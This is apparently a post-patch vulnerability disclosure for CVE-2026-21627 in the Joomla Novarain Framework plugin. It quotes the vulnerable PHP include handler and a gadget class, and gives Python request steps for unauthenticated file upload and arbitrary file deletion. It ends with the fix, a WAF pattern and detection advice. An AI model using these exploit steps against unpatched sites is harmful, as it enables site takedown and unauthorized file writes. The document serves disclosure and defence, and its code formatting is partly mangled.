

CVE-2026-21627: From Code Review to Unauthenticated File Inclusion in Joomla's Novarain Framework

****CVSS 9.5 (Critical)**** | Tassos/Novarain Framework (plg_system_nrframework) 4.10.14 - 6.0.37

TL;DR

A critical vulnerability in the Novarain Framework (nrframework) Joomla plugin allows ****unauthenticated attackers**** to include arbitrary PHP files on the server, instantiate arbitrary classes, and chain with built-in gadget classes to achieve ****arbitrary file upload**** and ****arbitrary file delete**** -- all without authentication. The vulnerability exists in the ``ajaxTaskInclude()`` method which is explicitly whitelisted for frontend (non-admin) access and accepts unsanitized user input for file paths.

Affected Versions

- ****Plugin****: ``plg_system_nrframework`` (Tassos Framework / Novarain Framework)
- ****Vulnerable range****: 4.10.14 through 6.0.37
- ****Fixed in****: 6.0.38+
- ****CMS****: Joomla 3.x, 4.x, 5.x

The nrframework plugin is bundled with several popular Joomla extensions from Tassos.gr including Convert Forms, Engage Box, Google Structured Data, and others.

Discovery & Enumeration

During an authorized penetration test, we identified a Joomla 5.4.3 installation running nrframework version 6.0.2. The plugin version was confirmed via the publicly accessible manifest:

```

GET /plugins/system/nrframework/nrframework.xml

```

```xml

<extension version="5.0" type="plugin" group="system" method="upgrade">

  <name>Tassos.gr - Novarain Framework</name>

  <version>6.0.2</version>

  ...

</extension>

```

Code Review: The Vulnerable Path

Entry Point: `onAjaxNrframework()`

The plugin registers an AJAX handler at `?option=com\_ajax&plugin=nrframework`. In `nrframework.php`, the `onAjaxNrframework()` method serves as the router:

```php

// nrframework.php - line 111

public function onAjaxNrframework()

{

  Session::checkToken('request') or jexit(Text::\_('JINVALID\_TOKEN'));

  \$task = \$this->app->input->get('task', null);

  \$non\_admin\_tasks = [

```

 'include' // <-- This task is allowed on the FRONTEND
];

 // Only in backend
 if (!in_array(strtolower($task), $non_admin_tasks) && !$this->app->isClient('administrator'))
 {
 return;
 }

 $taskMethod = 'ajaxTask' . $task;

 if (!method_exists($this, $taskMethod))
 {
 die('Task not found');
 }

 $this->$taskMethod();
}
` ` `

```

**\*\*Key observation\*\*:** The `include` task is explicitly added to ` \$non\_admin\_tasks`, meaning it bypasses the administrator-only check. Any frontend visitor can reach ` ajaxTaskInclude()` - they only need a valid CSRF token, which Joomla embeds in every page's HTML as ` csrf.token` .

### The Vulnerability: ` ajaxTaskInclude()`

` ` ` php

// nrframework.php - line 162

```

private function ajaxTaskInclude()
{
 $input = $this->app->input;

 $file = $input->get('file'); // default filter
 $path = JPATH_SITE . '/' . $input->get('path', '', 'RAW'); // RAW = NO FILTERING
 $class = $input->get('class'); // default filter

 $file_to_include = $path . $file . '.php';

 if (!file_exists($file_to_include))
 {
 die('FILE_ERROR');
 }

 @include_once $file_to_include; // ARBITRARY PHP FILE INCLUSION

 if (!class_exists($class))
 {
 die('CLASS_ERROR');
 }

 if (!method_exists($class, 'onAJAX'))
 {
 die('METHOD_ERROR');
 }

 (new $class())->onAJAX($input->getArray()); // CLASS INSTANTIATION + METHOD CALL
}

```

...

This is a textbook arbitrary file inclusion vulnerability:

1. `**`$path`**` uses the ``RAW`` input filter -- `**zero sanitization**`. Path traversal with ``../`` is possible.
2. `**`$file`**` uses the default Joomla input filter (strips HTML/XSS), but doesn't prevent directory names.
3. The concatenated path ``$path . $file . '.php'`` is passed to ``@include_once`` -- the ``@`` suppresses any warnings.
4. After inclusion, an arbitrary class is `**instantiated**` and its ``onAJAX()`` method is called with user-controlled parameters.

The ``.php`` suffix is always appended, limiting inclusion to PHP files. However, the real power lies in the `**gadget chain**`: any PHP class with an ``onAJAX()`` method becomes an exploitation target.

### ### Understanding the Legitimate Use

The ``ajaxTaskInclude()`` method exists to power AJAX-based dropdown fields (Select2). Looking at ``fields/ajaxify.php``, we can see the intended usage:

````php`

`// fields/ajaxify.php - line 92`

`protected function getAjaxEndpoint()`

`{`

`$reflector = new ReflectionClass($this);`

`$filename = $reflector->getFileName();`

`$file = File::stripExt(basename($filename));`

`$data = [`

```

        'task' => 'include',

        'file' => $file,

        'path' => 'plugins/system/nrframework/fields/', // hardcoded path

        'class' => get_called_class(),

        $token => 1,

    ];

    return URI::base() . '?option=com_ajax&format=raw&plugin=nrframework&'

        . http_build_query($data);
}
...

```

The `path` was meant to always be `plugins/system/nrframework/fields/`, but since it's passed as a user-controllable parameter with `RAW` filter, an attacker can point it anywhere on the filesystem.

Gadget Hunting: Finding Exploitable Classes

With the ability to include any `.php` file and instantiate any class with `onAJAX()`, we searched the nrframework codebase for gadget classes:

```

```bash
grep -rn "function onAjax\b" --include="*.php" packages/plg_system_nrframework/
...

```

### ### Gadget: `JFormFieldNRInlineFileUpload` (Critical)

Found in `fields/nrinlinefileupload.php`, this class provides both **file upload** and **file delete** capabilities:

```

` `` ` php
// fields/nrinlinefileupload.php
public function onAjax($options)
{
 $options = new Registry($options);

 if ($options->get('action') == 'remove')
 {
 $this->onRemove($options);
 return;
 }

 $this->onUpload();
}
` `` `

```

#### Primitive 1: Arbitrary File Delete via `onRemove()`

```

` `` ` php
private function onRemove($options)
{
 if (!$file = $options->get('remove_file'))
 {
 // error handling...
 }

 // NO PATH VALIDATION AT ALL

 if (file_exists($file))
 {

```

```

 unlink($file); // Deletes ANY file the web server can write to
 }

 echo json_encode([
 'error' => false,
 'response' => Text::_('NR_FILE_DELETED')
]);
}
...

```

The `remove\_file` parameter is taken directly from user input with **zero path validation**.  
An attacker can delete:

- `configuration.php` -- takes the entire site offline
- `.htaccess` -- disables URL rewriting and security rules
- Any plugin/component file -- selective functionality disruption

#### Primitive 2: File Upload via `onUpload()`

```

` `` ` php
private function onUpload()
{
 if (!$file = $this->app->input->files->get('file', null, 'cmd'))
 { /* error */ }

 // upload_folder is base64-decoded from user input
 if (!$upload_folder = $this->app->input->get('upload_folder', null, 'cmd'))
 { /* error */ }

 if (!$upload_folder = base64_decode($upload_folder))

```

```

{ /* error */ }

// Upload to user-controlled directory
$uploaded_file = Tassos\Framework\File::upload(
 $file,
 JPATH_ROOT . DIRECTORY_SEPARATOR . $upload_folder,
 ['text/plain', 'text/csv'], // Allowed MIME types
 false, // $allow_unsafe = false
 true // $random_prefix = true
);
}
` ` `

```

The upload has several constraints:

- **MIME validation**: Only `text/plain` and `text/csv` content types are accepted
- **Extension validation**: Allows `.txt`, `.csv`, `.shtml`, `.log`, and other text extensions
- **`isSafeFile()` check**: Joomla's built-in safety filter blocks PHP content
- **Random prefix**: Filenames get a `uniqid()` prefix, but the full path is returned in the response

Despite these restrictions, the upload still enables:

- Writing arbitrary text content to web-accessible directories
- `.shtml` upload (SSI injection if `mod\_include` is enabled)
- Combined with the file delete primitive: delete `.htaccess` protection, then upload

## ## Exploitation

### ### Step 1: Session & CSRF Extraction

Joomla's CSRF protection requires a valid session-bound token. The twist: Joomla creates session cookies lazily, not on the homepage. We need a three-step auth flow:

```
` `` python

1. Fetch homepage for load-balancer cookies
session.get("https://target/it/")

2. Probe AJAX endpoint to trigger Joomla session creation
session.get("https://target/it/component/ajax/",
 params={"format": "raw", "plugin": "nrframework"})

3. Re-fetch homepage WITH session cookie to get matching CSRF
resp = session.get("https://target/it/")
csrf = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', resp.text).group(1)
` ``
```

### Step 2: Trigger the Gadget Chain

```
` `` python

params = {
 "format": "raw",
 "plugin": "nrframework",
 "task": "include",
 "path": "plugins/system/nrframework/fields/",
 "file": "nrinlinefileupload",
 "class": "JFormFieldNRInlineFileUpload",
 "csrf_token": "1",
}
```

# For file upload:

```
params["upload_folder"] = base64.b64encode(b"images").decode()
```

```
files = {"file": ("proof.txt", b"content here", "text/plain")}
```

```
resp = session.post("https://target/it/component/ajax/", params=params, files=files)
```

```
...
```

### Step 3: Verify

```
...
```

HTTP/1.1 200 OK

```
{"error":false,"response":"File uploaded successfully.",
```

```
"file_name":"MTY5OWQ4MjYwY2Q0OTJfcHJvb2YudHh0",
```

```
"file":"/srv/http/target.com/pub/images/1699d8260cd492_proof.txt",
```

```
"file_size":"0.19 KB"}
...
```

The response reveals the **full server filesystem path**, the uploaded filename with random prefix, and confirms the write.

### Accessing the uploaded file:

```
```bash
```

```
curl https://target/images/1699d8260cd492_proof.txt
```

```
# CVE-2026-21627 - Proof of arbitrary file write
```

```
# Target: https://target
```

```
# This file was uploaded via the nrframework file inclusion vulnerability.
```

```
...
```

Step 4: Cleanup via File Delete

```

` `` python

params["action"] = "remove"

params["remove_file"] = "/srv/http/target.com/pub/images/1699d8260cd492_proof.txt"

resp = session.get("https://target/it/component/ajax/", params=params)

# {"error":false,"response":"File deleted."}

` ``

```

The Fix (v6.0.38+)

In the patched version, ` ajaxTaskInclude() ` is completely removed. The entire AJAX handling is redesigned:

```

` `` php

// PATCHED VERSION - nrframework.php

public function onAjaxNrframework()

{

    Session::checkToken('request') or jexit(Text::_('JINVALID_TOKEN'));

    $handler_name = $this->app->input->getCmd('handler'); // cmd filter, not RAW

    if (empty($handler_name))

    {

        http_response_code(400);

        die('MISSING_HANDLER');

    }

    // Handlers are now registered in a whitelist (AjaxHandlerRegistry)

    \Tassos\Framework\Ajax\AjaxHandlerRegistry::executeHandler($handler_name);

```

```
}  
` `` `
```

The fix replaces the open-ended file inclusion with a strict handler registry pattern, eliminating:

- The `RAW` path parameter
- The arbitrary `@include\_once`
- The dynamic class instantiation
- The frontend-accessible `include` task

Impact Assessment

Vector	Severity	Description
Arbitrary File Inclusion	Critical	Include any .php file on the server
Arbitrary File Delete	Critical	Delete any file writable by web server (DoS via configuration.php deletion)
Arbitrary File Write	High	Upload text files to any writable web-accessible directory
Server Path Disclosure	Medium	Full filesystem path leaked in upload responses
Information Disclosure	Medium	Include PHP files to extract internal data

Recommendations

1. **Immediate**: Update nrframework to version 6.0.38 or later
2. **Detection**: Monitor access logs for requests containing `task=include` with `plugin=nrframework`
3. **WAF rule**: Block requests matching
`option=com\_ajax.\*plugin=nrframework.\*task=include.\*path=`
4. **Audit**: Check `images/` and other writable directories for unexpected files
5. **Verify**: Ensure `configuration.php` and `.htaccess` integrity

Timeline

- **2026-01-XX**: Vulnerability reported to Tassos.gr
- **2026-01-XX**: CVE-2026-21627 assigned
- **2026-02-XX**: Patch released in nrframework 6.0.38
- **2026-02-24**: This article published

This vulnerability was discovered during an authorized penetration test. All testing was performed with explicit written permission from the target organization. Uploaded proof files were cleaned up immediately after verification.